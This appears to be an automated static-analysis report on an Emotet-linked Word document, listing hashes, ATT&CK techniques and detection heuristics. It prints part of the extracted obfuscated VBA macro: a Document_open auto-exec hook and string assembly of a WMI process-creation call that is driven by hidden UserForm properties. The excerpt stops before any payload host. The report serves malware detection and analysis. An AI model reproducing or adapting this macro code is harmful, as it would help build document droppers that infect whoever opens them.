Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ccbec7c415a11507…

MALICIOUS

Office (OLE)

215.9 KB Created: 2020-08-27 15:15:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 6c14344e8dd2d4572639063b1e94951e SHA-1: e47a772940b28e3540318b33aec37e2aa5e44c95 SHA-256: ccbec7c415a115075ab4ecf2249d256febfc1e2801884c31156837c8a3e5f8d6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open macro and CreateObject heuristics. The macro is heavily obfuscated, but the presence of a UserForm hidden-property command stager and the ClamAV detection signature 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggest it functions as a downloader for a second-stage payload, characteristic of the Emotet family. The obfuscation techniques used are consistent with malware attempting to evade static analysis.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10161 bytes
SHA-256: 3b5871217ff734b5d9c6597fb536513b9bfd1d049c05e35a854d4df341976dfe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Fjghxlkp8g0a1nd_55"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ot3jeffcid_.Tcd6nx18b11zqeo7l9
End Sub


Attribute VB_Name = "Ot3jeffcid_"
Attribute VB_Base = "0{22CA54DF-1CBA-49BC-84CC-B96F2C495094}{FBB4BB6C-7C18-43FA-850E-96EFEDCA7E83}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Tcd6nx18b11zqeo7l9()
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Zse6veof0i245lno39 = 100
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Zxwipk0z5c3fm = ChrW(Zse6veof0i245lno39 + (xw + 5 + jwb + 10))
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
C6dxho9hzihr = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + Zxwipk0z5c3fm + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Ot3jeffcid_.Lyr6d9taib0q + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
F0c2lghbhdl33 = W_2kt58knmgixx05m(C6dxho9hzihr)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Bom01si_863_of = Ot3jeffcid_.Ztzep029h7ld.ControlTipText
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
O6utmfx4
... (truncated)